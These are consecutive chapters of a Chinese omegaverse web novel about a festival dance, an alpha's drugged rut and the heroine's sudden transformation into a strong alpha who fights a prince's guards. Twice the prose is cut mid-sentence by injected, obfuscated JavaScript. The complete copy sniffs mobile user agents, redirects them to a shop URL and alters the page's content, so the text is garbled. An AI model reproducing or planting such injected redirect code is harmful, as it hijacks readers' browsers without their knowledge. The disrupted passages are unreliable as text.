到了慢舞和快舞的衔接处,这里需要和右侧相邻的舞者交换舞伴,跳半个节奏适中的乐段。吴峻松开手,结果下一秒,肌肉遒劲有如肉山的老同学嬉皮笑脸地出现在眼前。 黑色中长发,圆润的红褐色眼睛,容貌旖丽秀美有如omega,但是身高两米一。 精神力为A,货真价实的alpha,也是海军大将之子,丹·勒克莱尔。 料想中“更有情调”的omega没出现,就连作为备选项的beta都没有,吴峻的表情一下子扭曲了:“你谁啊?不是,你在这儿干什么呢?” “交换舞伴啊!怎么,你不喜欢?” 丹笑了一下,露出的虎牙中和了红毛大猩猩的威压感,“你是不知道,为了混进来,我专门放了一个极品omega的鸽子。谁叫级长有求于我。” 级长?吴峻心脏漏掉一排,警告性的骇人折磨犹在昨日,瞳孔小心地挪动。 是解琤。真是解琤。那身礼服用肉眼看似简洁,实则设计做工用力到细节:树形绿宝石胸针翻出惑人绿光,孔雀羽形袖扣锦上添花出自然的优雅,点缀在具有传统意味的纹饰上,好像他本人相当精通时尚似的。再加上极其考验身形的剪裁,饶是吴峻都要说,他真是无懈可击,周全到了极致。 此刻,他正握着乔蕴年的手,看她在臂弯内转身。 ……他不是向来不会参加这种大型庆典活动吗? 转过去、再转回来。跟解琤跳舞不可能不开心,更何况有吴峻做对比。这次乔蕴年露出了发自内心的笑:“我的耳钉怎么样?不错吧。” 解琤那张总是显得过于冷漠的脸,此刻轻轻泛起涟漪:“像回到了过去。” “如果真的回到过去,那就好了。……等会儿用智脑联系。” 间奏曲非常短暂,很快又得换回去了。松开手的那一瞬间,解琤的表情也变了回去。 “嘿!吴峻不满意我没关系,我可是你求来的舞伴!你知道我为此承担了什么吗?” 解琤:“知道。”又怎样。 交换回来前,丹特意看一眼乔蕴年的方向,再转过头,朝朋友挤眉弄眼:“我直觉你是为了某个谁来,看来我的直觉是对的。” “不。”解琤非常理智地否决,“如果你说的是吴峻的未婚妻,我可以告诉你,你的直觉错了。” 他并不想给乔蕴年添麻烦。 他只是非常“巧合”地出现在乔蕴年的另一边而已。 ……虽然,乔蕴年此刻注意到丹的眼神可不是巧合。 她其实还挺喜欢这种类型的。 能不被这样的人压制,把身形这么高壮的人投掷出去,她会很有成就感的。 触及吴峻的表情,乔蕴年被他的滑稽逗乐,揶揄道:“我怎么觉得你被他吓到了呢,吴少。” “我可不敢。万一他向大将告状,够我喝一壶了。” 刚说完,吴峻便觉得奇妙:竟然存在这么一天,让他能跟乔蕴年心平气和地说话。 现在是快舞蹈。他看见乔蕴年跳得越来越欢快、越来越轻盈,简直到了要眯起眼睛摇头晃脑的程度,不禁出声:“跟我跳舞,就这么高兴?” 果然啊,她其实对他情根深种,只是他的行为多少让她心存怨气。 不用仔细思考,乔蕴年就知道他在想什么,笑得更开心了。原本顺不下来的舞蹈,现在欢笑着捻起裙摆加大幅度、甚至在间隙跟厌恶的人说上那么一两句话,都不会有所影响了。 ——这具身体是可以改好的。是可以获得“重生”的。 好高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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瞳孔变成万花筒,一抹银光便在这时有如蜻蜓般闪过。身着祭典服饰、脚踩花瓣飘然出场的赫然就是本场庆典的使者,身段优雅纤长,隐隐可见内陷的腰窝,上面还有花形装饰,轻快得好像跟云朵融为一体。 银光既出自传统服装上的银饰,亦来源他一头银色的碎短发。真容不清楚,唯一能看见的是星兰花异形面具下那双晶亮的蓝紫色眼眸,澄澈有如宝石。 乔蕴年疲累得仰头,喉头泛起铁锈气味,汗水融进生理性泪水逆流滚进盘发。她第一时间看见的便是这双眼睛,只是看清什么已然不重要,所有的一切对此刻的她来说都是负担。 “祭司”身形停留片刻,手探进灯笼中,再次出现时掌心停留一大一小两只蝴蝶,就要送到两人面前。 这些蝴蝶是真是假,是死是活,乔蕴年根本不关心。 她咽下一口血,艰难抽出手,然后对着“祭司”颤颤巍巍比出中指。其意为,“你敢给我试试看呢”。 竖起中指的同时,乔蕴年还扯出一个有些畸形的咧嘴笑。 于是,吴峻眼睁睁看着“祭司”在被冒犯后瞳孔放大,然后将蝴蝶捏碎,愤然离开。 她知不知道自己在做什么! 不要蝴蝶捏捏鼻子还能放在其次,关键在于那个“祭司”的特征是银色头发、蓝紫色眼睛。 吴峻立马想到一个人。也只能是那个人。这个愚蠢的omega,她到底知不知道自己刚才做了什么事!吴峻着急得一下子捏住乔蕴年的肩膀,“你怎么敢那么做!” 乔蕴年不止要给没有眼力见的“祭司”竖起中指,此刻同样颤颤巍巍对他展示。因为停留在原地,其他人只能绕过他们。 “我怎么不敢。……噗。” 话音未落,乔蕴年呕出一口淤血,直接正中靶心,溅湿了吴峻的胸口。 吴峻一下子明白了什么,心底有些无措,手部力道松开不少。 但还是乔蕴年可能引起两国外交问题的举动更可怕,虽然那个人的出现多少打了吴峻一个措手不及。父亲怎么可能一点消息都没有,可事实已经定型。 乔蕴年才不管是谁,最后一下用力拍离吴峻的手,脱离束缚后冲着他笑。 “我一定会让你付出代价的。” 不止为今天,还有很多个昨天。 她离开了内圈,一个人跌跌撞撞往外走,想要找到观众席下的盥洗室。 10. 第十章 乔蕴年洗完脸和手,尤其是手背上的血污,是在擦拭嘴唇时染上的。 做完这一切,她顺道去了旁边的更衣室,换下让人非常不愉快的礼服。 alpha和omega的更衣室隔了相当遥远的距离,所谓的AO大防还是要遵守的。虽然对乔蕴年来说更让人不愉快的是和男性在同一空间换洗衣物。她很幸运,没有碰上男性omega。 室内准备好了非常舒适的常服,还有座位可以放松全身肌肉。但对乔蕴年来说,当务之急是扶着椅子把手缓缓坐下来,吃一颗药稳定心率。 吴峻在不远的将来一定会拥有和他相匹配的死法的。一定会。 乔蕴年顺着胸口,不知不觉在按摩椅上小睡了一刻钟。醒来时脑袋清醒不少,她后知后觉想起一件事:舞蹈场地似乎会及时性地向外直播。 那又怎么样。乔蕴年打开智脑,已经做好被乔仲雷等人质问辱骂的准备,但是这两个人的聊天界面一片风平浪静,祝心莲前两分钟还给她发了一张照片,配字“今年的茶点比去年好太多”。 最重要的不是这两个人。解琤非常密集地给她发了起码三十条信息,问她在哪里待着,他看见一个穿着橄榄绿色裙子的女性被强行拉走,以为是她,为了确认她的安危有些语无伦次。 最后一条消息在十分钟前,内容是“我无法进入omega的更衣室”。 乔蕴年没有被“他是为了我关心我”这一点冲昏头脑,她认为解琤的最后一句话跟前面发给她的内容相差很大,非常没头没尾地点出了她的实际所在地。 她取下了黑曜石耳钉,若有所思地看了一会儿,最终选择收起来——智脑上恰好有个凹槽。 随后,乔蕴年不急不缓回消息。 【乔念念】你进不来确实不太正常,可能是因为今天是庆典,有更厉害的人物坐镇,所以没法给你这个大人物行个方便吧 【乔念念】我一切都好,就是跟吴峻跳舞跳出血了 【乔念念】他很该死,对不对 解琤回得很快,似乎一直守在智脑旁。 【解】是 【解】现在感觉怎么样?我带了缓和剂和营养液,都是你能适用的 【乔念念】别着急,我马上出来找你 乔蕴年起身,伸了个懒腰。解琤的确实更好一点,她入睡前使用的就是上次解琤寄给她的。 离开包间,顺着长廊走,她很快见到了站在窗边独自一人等待的解琤。 “你这样当然进不来啊,都没动用家里人的关系。”乔蕴年对他开着玩笑,“我怎么觉得,你其实一直在悄悄地暗中观察我呢。” 解琤的神色有一瞬间的僵硬,这一丝对别人来说可能小到不能再小,但对乔蕴年来说简直就是把答案在她脸上侮辱性地反复拍着。 “我这次不计较,是因为我知道你是希望我平安,现在的我也确实需要保护。” 她取出耳钉,在解琤眼皮底下晃了晃,然后扔到他怀里,“但是,没有下次。把里面的[东西]清理干净后再还给我。” 解琤垂眸握住,耳钉较为锋利的一端若有若无刺挠着掌心,肉包裹着荆棘丛。 他放进口袋:“好的。……我很抱歉。” 里面不仅有干扰器,还有定位器。 至少她没有直接选择不要,而是最终还给了他。 “所以,你是想告诉我什么?” “往这边走有单独的休息室。” 乔蕴年一脸了然,口吻一如既往戏谑:“要到你的专属地盘上啊。我可真是荣幸。” 上了楼、穿过仿佛沉浸在雾色里的窗户,再拨开盛典性质的印花帷幔,一路上他们并未闲聊太多内容。应当说,因为乔蕴年识破了什么,所以解琤想要避开触怒她的机会。 但乔蕴年这次确实没怎么生气,或许是要秋后算账的人实在太多、也太过分,连她自己都为这份愈发宽容的个性感到不可思议,还是她主动挑起话匣。 “你的舞伴,从身形看也不可能是omega。” 解琤面色微微紧绷着回答,说出早已经斟酌好的言辞:“是同学,勒克莱尔家的次子。因为父辈的交情,关系近一点。” 这位老朋友好像有点紧张。 是因为她是omega,两个人走在一起挨得比较近吗?乔蕴年有心想要逗他玩:“我问的是,你怎么不跟omega一起跳舞?不过你的话,应该比寻常人的择偶范围宽泛一点吧。” 只要是女性应该就可以,乔蕴年不是没见过女alpha,她很喜欢她们的身姿和精神气质。 “……我目前没有择偶方面的需求。” “没有恋爱过吗?四年级可是已经21岁了,我21岁的时候——如果我也是21,应该已经有两三段感情史了。何乐而不为嘛。” 乔蕴年敏锐地更换了说法,用预测的口吻说前世的既定事实。 解琤微抿唇:“没有。” “但我怎么觉得你有点躁动。是易感期快到了吗?抑制剂有没有带?我的可不能借给你用,AO有别。” 她向前倾身,对他眨动左眼,头上的星兰花似乎也随之轻轻翕动,“你不说话,是觉得我太过聒噪吗?” 雕像般轮廓清晰、富有古典美的脸庞一时间显露出无奈来:“没有,我正在听。我的易感期在月末,还很遥远。” 乔蕴年用戏谑的腔调开他玩笑个不停,对解琤来说反而是值得松一口气的事——说明她没有因为刚才发生的事厌恶他。 然而,说是如此,解琤也隐隐感受到了熟悉的冲动。 以乔蕴年这具身体破损的精神力,只要不在发|情期,根本不可能触动他。 他们的匹配度应当也很低。 ——解琤对这个事实很不愉快。 “快要到了。”他整顿心情,试图用精神力压下这股莫名的燥热。 但乔蕴年轻快的话语无端增加了这股被灼烧的感受。她看着眼前,再看解琤用指纹解锁休息室的门,玩笑道:“还真是尊贵啊。” 解琤的休息室占据了单独的一整个大房间。房间显然是按照他的喜好布置,放眼望去简洁、冰冷,比首都校的医务室还要干净。 耳钉的使用方法,乔蕴年已经从解琤手写给自己的信件里得知了。眼下只见解琤取下胸针,轻按内侧按键——看来他也早有准备。 桌上置办了茶点,红茶与红丝绒蛋糕相得益彰,盛装在同样是雪白色的茶具里。乔蕴年对食品没有特别的爱好,但甜食客观上确实可以起到缓解压力、迅速补足能量的作用,因此她坐了下来,给自己倒上半杯茶水。 袅袅热气濡湿掌心,乔蕴年湿漉漉地切下一个小角,蛋糕体亦是恰到好处的湿润,显然出自杰出的点心师之手。 解琤迟迟未动。 密闭的空间,所有的小动作都会化作窸窸窣窣、老鼠啃咬物品的响动。 “你想要站着跟我说话吗?”乔蕴年喝了一口茶,能量有所恢复,“没有什么特殊问题的话,就先坐下来吧。” 过了不知道有多久,解琤声音暗哑:“……稍微等我一下……” “仿佛有什么被烧焦了”,乔蕴年嗅到了旧式战场的味道。 漆黑的炭堆无火自燃,蒸腾出热气。 乔蕴年猝然起身,三两步触碰到大门。 在此之前,乔蕴年并没有亲眼目睹过alpha进入易感期的情状,也不知道alpha正式开始发|情会是什么模样。她知道“乔蕴年”的信息素味道很淡,即便是在发|情期,存在感也只是稍微加重了一点。 在此之前,乔蕴年只有作为弱者的实感。omega究竟是一个怎样的物种,她了解过,但毕竟没有亲身感受在食物链上如何自处。 但现在,生物本能在她耳边如凛冽的刀风一般长鸣尖叫,就好像一个根本无力抵抗的被捕食者到了不得不聆听的时候。 这一切来得太快了。 解琤极快地出现在了乔蕴年的身后,不顾一切握住她的手臂。 乔蕴年也感觉到了。荷花的香气鲜明地萦绕在她鼻尖。她敢打包票,这绝对不是原身在日记本里写的那种符合生理知识的浓郁程度,恐怕属于史无前例。 “这扇门只有——我的、身体数据,才可……可以解锁。” “咔哒”。门在乔蕴年面前解锁,抓住她的手并非向内收,而是把她向外推。因为对身体的掌控力越来越弱,解琤是直接将乔蕴年甩出去的。 结果解琤刚准备关上门,乔蕴年顺着大门敞开的弧度翻了个身,扑了回来,非常灵活地自他手臂之下重新滚进休息室内,动作甚至比之前还要灵活机警。 但解琤已经没有办法做出“乔蕴年的身体正在变好”这样的判断。此刻在他充血的眼中,似乎只剩下“一个omega自投罗网”的事实。 还得加上一个解琤两辈子都没有说出口的前缀。所以即便有万般不愿意、万般克 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明明前不久,连续的第二支舞对乔蕴年而言还是一种致死的虐|待,现在却有源源不断的、微妙的“支撑感”不断涌出。 “这么想咬,那就咬这个吧。” 犹如火烧般鲜红的嘴唇,和星兰花优雅而不失魅惑的冷色花瓣对比鲜明。 咬住柔软的花瓣,alpha的动作被短暂的疑惑打断——他为什么在吃一朵花?这样的间隙正好供乔蕴年给自己打一针抑制剂。 这之后,alpha仍旧试图咬她,而这一次被挟持住的是他。 乔蕴年掐住了解琤,但和之前用以泄愤的紧握不一样,是因为好意。 她觉得自己渐渐摸到了释放信息素的关窍,有种整个灵魂焕然一新的感受,说不定可以帮上他的忙。可怜的解琤。 “医生说,我的腺体短期内不能承受任何异性接触。但你好像不止是想要跟谁做的程度。” 乔蕴年自顾自解释着,因为没有人听,解琤吐出星兰花后显然更活跃了,他的力气变的更大,跃跃欲试着要凑近,可见就是那朵花的问题。 alpha发起疯来真是够了,但乔蕴年很快加载到了比解琤更强硬的程度。 “让我试试,好吗?我们以前可是能背靠背的战友。” 比往常浓烈很多的荷露缓缓伸向解琤,就好像在耐着性子揉动他的脑袋。乔蕴年自认不是个温柔的人,所以类似安抚的行径对她来说确实有难度。 她正一边紧掐着解琤,看他再也靠近不了自己分毫、甚至濒临死亡,一边放出信息素。 真是好狗。汪汪。 唉。现在叫不出来了。动都动不了。 乔蕴年不喜欢任人摆布的感觉,而眼前渐渐平静下来的alpha让她觉得很好。她终于作为主导者掌握住别人的生死,并且出于施舍之心展现了自己的才能。 没有临时标记,没有把她当成药,而是给她牵着鼻子走,这样不也好了吗? “有意识吗?能说话吗?” “这里有可以躺的地方吗?在那里啊。” “我抱你过去,怎么样?以前又不是没有抱过你,现在不是害羞的时候吧。” “哦——你是问我为什么突然这么有劲了。” 乔蕴年一把抱起他,原身身高不到一米七,目测一米九五左右的解琤对她来说还真是个庞然大物。不过也不要紧,乔蕴年抱起他了,还抱得很轻松。 她对怀里的青年笑得异常灿烂,心情可谓是攀升到了极点,是从未有过的神清气爽:“其实我也不知道。但我可能不仅得感谢你,还得感谢吴峻那个相好的。” “我去叫医生吧。总得请人来帮你看看情况。” “只离开一会儿有什么要紧?这么拽着我不放。解琤,到底你是omega还是我是omega啊。把权限给我。” 开了门,门外首先出现的是一对面色不好看的夫妻,两个人的五官都能找到解琤的痕迹。身边是医护人员。 “念念!” 如果不是祝心莲失声尖叫,乔蕴年都没注意到她的父母也在。 还有吴家人。还有吴峻。 人来得这么齐啊,好像只差破门而入了。 乔蕴年若无其事:“解琤在休息。帮他看看还有没有什么后遗症吧。” 现在,她不在乎这里的所有人。她只想一个人关起门来,享受这种浴火重生的感觉。 在她身上,一定发生了某种翻天覆地的变化。 11. 第十一章 作为alpha的解琤提前发|情,而作为omega的乔蕴年一个人从他的休息室走了出来,并且安然无恙。 精神力SS的alpha被刺激到提前发|情,是一定会坏事的。如果不是解家地位超群,提供给解家人使用的专用休息室屏障完备,这次庆典是真的会提前结束,造成国家一侧的重大损失。 尽管屏障已经相当完备了,SS的精神力放出来,还是难免对周边的人群产生影响。有身体不适的omega,还有突然陷入躁狂的alpha,都被悄无声息带走了。最终,这一面的所有观众都被暗中疏散,并且每个都下了封口令。 吴家人不知道的内情,解家人知道。这场祭典的意义非比寻常,是无论如何都不被允许出岔子的。 可岔子还是出了。 吴峻脸色很不好,他的未婚妻从另一个还没有彻底脱离发|情状态、处于易感期末期的alpha房中出来,相当于给他凭空戴了个硕大无比的绿帽子。 是当他闻不到那股焦炭味儿吗?恶心,太恶心了,太肮脏了…… 一等解父解母离开,吴峻几乎是立马松开对自己的控制,面部迅速充血,在乔家人都在场的情况下口不择言: “看来我吴峻也是捡到宝了,一个精神力F的omega竟然能忍受得了双S的alpha,就这么好端端的出来了,呵呵,呵呵呵呵……肯定已经成结了吧……呵呵……” 乔蕴年此刻的心情很不错,就算是吴峻也不能够影响到她。 “你应该问问雅妮卡在花里面放了什么。”她只是觉得吴峻质问她的表情很有趣,他的家人也或多或少是这个表情,“不止这件事,还有个穿绿裙子的omega险遭毒手,是吧?” “看来是先找好了作案人,但以防万一,或者说用药才能彻底摧毁一个人,所以在花里面放了能刺激到alpha的东西。” “你看看,没有药物在里面发挥作用,那个找来的人就是个废物,体质稍微正常一点的omega就能反抗成功。” 吴峻依旧梗着脖子:“那为什么我跟你跳舞的时候没事?难道我不是alpha?” “肯定是药比较特别,谁叫你相好的是绝命毒师。你要是不相信,去看药物检测结果喽。” 乔蕴年对他眨眨眼,“没想到会闹这么大吧?最让我惊讶的是,不仅你往前面凑,还带着吴先生吴太太一起凑热闹,是铁了心要连累二老啊。” “你——” 这下不仅仅是脸部血肿成烂番茄,吴峻整个人都由于血液上涌变的不理智。 因为被戳中了。他的父亲很会来事,主动承担了协助疏散人群的负责工作,而他问是谁造成了这一局面,就这样怀着看好戏的心态走上楼来,希望看点狼狈景色。 谁叫解琤前不久刚拿他开刀,让他受尽苦楚又丢了大脸呢。 “解级长”不是最公允吗?不是自以为很正义吗?双S的精神力又如何,不也还是会被信息素支配着往omega身上扑吗?味道重的跟这一片都被火烧焦了似的,看来来势汹汹啊。 结果正当吴峻幸灾乐祸,觉得被解琤拖进休息室的omega很惨很惨了,不知道腺体和生|殖腔能不能保全,保全一个都算好的,估计门一打开得血流成河。乔蕴年衣衫微乱地从里面走出,而吴峻第一次在她身上闻到如此浓重的荷露味道。 浮在焦炭上面,隐隐有支配之姿。 ……哈哈。这是被滋润过的样子吗。 比起仇视解琤,这一刻吴峻更仇视乔蕴年。明明只是个精神力F的omega,竟然想着攀附那种级别的权贵,她也配—— “好了好了,我们念念精神力确实不强,那要是被小解先生看中,哪来的还手之力啊?” 乔仲雷此刻出面如是道,他甚至觉得这是个很好的机会,看吴峻也不再像从前那样顺眼,“满嘴成结不成结的,你家里人就是这么教育你的?你跟那个平民omega的私情闹得人尽皆知,害我女儿差点死了,这件事又该怎么负责?” 吴家主皱眉:“老乔,瞧你这话说的。” “我怎么了?我看念念讲的不错,你还是关心关心化验结果吧。要是真的跟你们家吴峻扯上关系了,责任可就没有解议长担一部分,全是你们家来担了。” 就在这时,洛根以吴太太的身份开口帮丈夫挽尊了,然而视野过于窄小,依旧局限在alpha和omega那点事儿里面:“既然乔蕴年实在要做解家的儿媳妇,我和老吴无话可说。但是老乔,你有没有想过,就之前闹大的那件事儿,经得起解家的背调吗?别最后还是要上军事法庭。” “真要上,也是你们先。” 乔蕴年不紧不慢做出应对,“我可以明确告诉几位,无论有没有解琤,我都不可能上军事法庭的。” 到时候,比起惩罚她,他们可能更好奇她为什么会变成现在这样,更想把她为己所用。 这个死丫头。洛根继续维持体面微笑,尽管面具有些许溃烂:“我没有见过犯了错却不用上军事法庭的人。” 乔蕴年毫不在意地一笑,他的眼界根本不具备任何参考性,“您没见过的事情多着呢,说不定将来会有吴峻被退学、而我入学首都校这样的奇事发生。谁知道呢。” 连乔仲雷都忍不住回过头,想看看自家女儿的自信究竟从何而来。祝心莲则连忙抓住女儿的肩膀想让她清醒一点,得罪吴家对他们没有好处。解家实在是太遥远了,遥远到解议长和纪工一同出现在这里的时候,简直“齐全”到了不真实的程度,她根本不敢相信女儿能在他们的庇佑下全身而退。 他们怎么可能想要保护乔蕴年,保护她身后的乔家,乃至于这个家中一直殚精竭虑的她这个乔夫人呢? 结果乔蕴年拂去了她的手,像是嫌弃她的多管闲事。 祝心莲的眼眶顿时红了。 洛根也觉得神奇:“你?入学首都校?” “对,我入学首都校。” 洛根一哂,刚想说“就凭你”,丈夫便起身离开等候室。他比这位惯会口头逞能、根本不事生产的吴太太要关心检验结果,因为这样的可能性并不是不存在,他很了解这个净干出格事的儿子。 父亲一走,吴峻诚实地提步跟过去,洛根一个人待着也不是办法,临走前冷冷地看一眼乔蕴年,施施然跟上父子的脚步。 至于乔蕴年,她已经坐了下来,正跟解琤通过智脑闲聊。 她猜的丝毫不错,就是花的问题,药物涂抹在蕊心。化验结果显示它是某种在联邦已经禁止使用的药品,可挥发,本身对omega没什么危害;可一旦跟omega的信息素结合,经过大约一个小时的反应就能形成刺激性物质对alpha产生作用。 既然有影像证明就是雅妮卡亲手摘的花,也只有她能在上面动手脚了。 这件事或许还没有走到一切都非常分明的地步,但上一件折辱omega的事却已十分明了。审讯没多久,袭击者便供认不讳,是雅妮卡在老家高薪招募的,本来目标是乔蕴年,要“跟这位大小姐生米煮成熟饭,从此享尽荣华富贵”,结果东张西望没找到人,最后拉了个错的,还被反向KO。 【乔念念】拖了雅妮卡的后腿啊,要是真被他找到对的人,几率还挺大的 【乔念念】被我直接拧断脖子的几率 【乔念念】:) 这个ID一看就是原本那个“乔蕴年”取的,不像她的风格。然而她没有更改,应当是觉得使用这个也无所谓,解琤因而控制不住心想:真可爱。 “阿琤!” 解琤即刻收起智脑,母亲已经来到他身边,手里是刚按过隐藏按键的绿宝石胸针,像是比方才待在解琤胸口的时候黯淡。 她比解琤还要熟悉怎么制造出无人监听、真正密闭的私人空间。 解琤坐起身:“……母亲。” “那是个alpha。”纪泊溪正在为一件即便处于密闭空间、也得慎重说出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483136|201863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情焦躁不安,而这句没头没尾的话确实加重了焦虑感,“而且她能够影响到你,让你差点……她的精神力只会在你之上。” 她是alpha。解琤只听见这个,罕见地弯起嘴角:“这是好消息。” 对乔蕴年和他来说都是。 纪泊溪正欲再开口,病房的门传来解锁声,中断了母子二人的谈话。 是解议长。 “阿琤,觉得好点了吗?”没有什么意外的话,他对解琤都是慈父面目。得到肯定的点头后,他坐了下来:“既然好点了,我们应该面对面谈谈。” 解琤:“她是我的朋友,这个意外里面只有她是全然无辜的。”就连他都不是。他受了蛊惑,险些就要将乔蕴年……他不能继续往下想。 “还学会抢答了。”解议长笑着抬头,跟妻子交换了一个眼神,“整件事跟乔小姐无关,我们都知道。我想询问的是,你有没有标记她。” 此时的解琤不确定是否能将真相和盘托出。母亲是可以信任的,因为她还要保守另外一个秘密;但是父亲这里,解琤持怀疑态度。 这是一场奇遇,对于乔蕴年来说无疑是好事。可是这样的案例历史上找不到第二个了,一个先天精神力只有D、后来被药物破坏到F的omega因为意外二次分化成alpha,而且是精神力高于SS、跟依旧流连于政治场不愿意放手的老元帅一个级别的顶级alpha……她的特殊不是可能、而是一定会招来揣测,甚至是觊觎的目光。 纪泊溪催促他:“阿琤,直接说吧。无论你说不说,乔小姐都是要接受调查的。不过不是审讯罪人的那一种,只是了解情况而已。” 她道,“而且,我看乔小姐也没有想要回避的意思,你也只是从你的角度解答疑问而已。” 但是,无论他们怎么给解琤宽心,解琤都以平淡无知的形象示人:“我并不清楚,母亲。您也知道我正式发|情时的症状,我没有闲余的理智注意很多琐事。” “既然乔蕴年愿意接受调查,那您只要等待调查结果就好。”解琤垂下眼眸。 他和乔蕴年才是绝对不可动摇、不可加入新人的共同体,即便这对夫妻真的养育了他,赋予了他第二次生命,他也不会为了他们说出任何不利于乔蕴年的话。解琤对他们的信任程度,远远排在这位久违的“老朋友”后面。 解议长很清楚,解琤早慧,并且很早就练就了不为人所动的扑克脸,但他能感受得出来,解琤的心思很重,且对他这个父亲有所保留。 “你不清楚具体情况,阿琤。我们也是为了把乔小姐保护起来。”解议长循循善诱道,“现在那位殿下认为乔小姐对他不敬,要问罪于她。倘若乔小姐具有史无前例的价值,我也好在元帅和总统先生面前为她美言几句。” 解琤表情如常,心思却已经飞到看不见踪影的乔蕴年身上。 她得罪了帝国来的小殿下?什么时候? “……父亲,无论您怎么说,我真的不清楚这里面的细节。” 心思再如何凌乱,面上不能透露一点差错,解琤沉稳回答他的探问,“我究竟是怎样脱离危险的,您还是等报告吧。科学结果无法被掩盖。” 一听这话,解议长的脸色迅速冷淡下来:“看来你是存心想让你父亲跟今天的大乱子脱不开干系,只能等最后公审被问责了。” 纪泊溪急忙在这里面做润滑,直言“阿琤就算有事瞒着你,估计也就是跟有未婚夫的omega来往”,好不容易把解议长打发出了房间。 回到房间,她近乎央求道:“阿琤,你糊涂啊,你爸是要为这件事负责的,连带着也会影响你……” 解琤不为所动。现在的他比起刚才算是彻底清醒过来,然而满脑子依旧是“她该怎么办”。 与此同时,乔蕴年还没来得及配合检查,先被不声不响带到了一个房间——是在她没有去往的祭殿内。 也正是在那里,她见到了异型面具下面“祭司”的瑰丽真容。 12. 第十二章 用“瑰丽”形容,或许都有些过于谦虚了。“祭司”换下传统服饰,摘下面具,俨然是个刚成年没多久的翩翩美少年。 在omega里,他算是硬朗英气的,身体被富有韧性的薄薄一层肌肉所覆盖,更显修长和力量感,一切都是那么恰到好处。除此之外,他的气质像是散发着花香的积雪,终年不化。 这花香俨然来自星兰花,他的眸色亦如是。 又是一朵高岭之花吗?恰巧乔蕴年此生最好处理的类型就是所谓的高岭之花。 几乎是在目光触及到她的那一刻,美少年眼中闪过一丝被冒犯的厌恶,指使把她带过来的那两个beta:“你们愣着干什么,我不是说了吗,把她绑过来!” 两个beta很为难,他们虽然是这位尊贵的殿下从故国带过来的近臣,但在这里人微言轻,这样将乔蕴年带过来已是尽了全力。其中一个苦涩道:“殿下,那样太明显了,而且我们是在跟议长抢人——” “哦?原来我不是必须来这里。”乔蕴年猝然打断beta,走向门口,“也真是被你们这群人带到沟里去。既然不是什么重要的事,我先走了。” 少年一下子被乔蕴年话里话外视他为无物的轻佻激怒了,涨红脸:“你给我回来!敢违抗我的命令,知不知道我是谁!” 他决不允许自己落魄到连联邦的一个小贵族的女儿都能冒犯自己! 乔蕴年回过头看着他,尽管在笑,但眼睛里根本没有他的影子:“我知道。差点逼我跟杀人未遂的舞伴进祭殿继续跳舞的混蛋。” 少年一愣,但也只是愣了一下,随后冲她恼怒道:“你还是不知道我是谁!你对我做的事,放在帝国够你死一万次了!” “是这样吗。”乔蕴年站在门边儿上,故技重施对他竖起中指。 其中一个beta终于缓过神来,是个扎着双股辫的年轻女性,装束跟联邦的人略有区别,带着民族气息。她即刻挡在少年面前:“放肆!这是帝国的十七王子,伊西多尔·德·布伦切尼殿下!” “伊西多尔……多尔(doll)?”乔蕴年戏谑地玩味这个似乎很尊贵的名字,“好名字。” 这下不止是冒犯的程度。伊西多尔简直火冒三丈,恨不得亲自上阵双倍惩罚乔蕴年,让她死个两万次,一挥手:“给我直接拿下她!一个精神力D的omega而已,愣着干什么!” “你的消息有点滞后啊。”她都从D变F了,现在更不知道突变成什么。不过乔蕴年正愁没地方施展拳脚,检验一下自己目前的身体状态,伊西多尔真是瞌睡了送枕头的高手。 一女一男两个beta选择直接冲上来。精神力相对来说确实属于他们的长处,至少一主两仆三个人都这么想。一个A-一个B,还治不了D精神力的omega吗? 但是贸然使用精神力,一定会被注意到。他们是被严加管控的异国来客,在别人的地盘上不得不谨慎,何况他们心知肚明——这位在母国“备受宠爱”的小殿下根本不知道什么时候能回去。 因此二人默契地选择贴身肉|搏,他们都是皇家近卫军出身,还怕放不倒一个大门不出、二门不迈的omega吗。 结果乔蕴年动起来,欣然接招,两人顿时暗道“不好”。 此处应插|入乔蕴年的前世。她在贫民窟行窃时很少被抓到,就算被抓到也能迅速挣脱——通过格斗天赋。后来被收编,乔蕴年最感兴趣的学科依旧是近身格斗。 拳拳到肉,能感受别人身上肉的肌理,闻到细微的、内伤的血腥味……种种感官刺激叠加在一起,真的非常爽快。 军校是允许一定的死亡率的,所以乔蕴年最喜欢在格斗课上暗下死手,针对惹过她、并且不幸抽签跟她一组的组员。 现在不过是跟那个时候一样。面对两个看不起乔蕴年这个人的“好同学”而已。 如果说,乔蕴年一开始还没有完全适应重新掌握力量的感觉,记忆里的反抗本能、格斗技能跟身体素质有些不协调,面对两个人的围攻落于下风挂了彩,那么一旦她开始适应这种可以支配他人的力量,就是这两位近卫频频后退的时候。 “你们的格斗术很不错啊。”乔蕴年没空抹去嘴角溢出的鲜血,因为不值一提,她能闻到自己的兴奋,越接招越高兴,甚至主动发起聊天,“让我学习到不少新东西。” 说到这里,乔蕴年对准男beta的小腿肚就是一下,伴随很轻很轻、只有她能闻到的骨头裂开的味道,直接放倒一个。 没关系,这个时代的科技可以让他很快恢复好的。他唯一吃亏在自己是个beta,虽然拥有相同等级的精神力,但因为beta的细胞活性天生没有alpha旺盛,恢复速度慢一大截,否则过段时间自愈都好了。 “朋友,我也不想的。”乔蕴年打了声招呼,活动了一下脖颈。既然他们这么凶狠,这么忠心耿耿,那就别怪她也下狠手了。 ……这种血液沸腾的感觉,真是久违了。 伊西多尔心急如焚:“马修!” 怎么会……他带过来的可是帝国的战士!虽然不是最出色的那一批,但是轮及古老精妙的格斗术,应该不可能被战胜才对。 那个声音从门前冷不丁传来:“你的马修应该暂时站不起来了。” 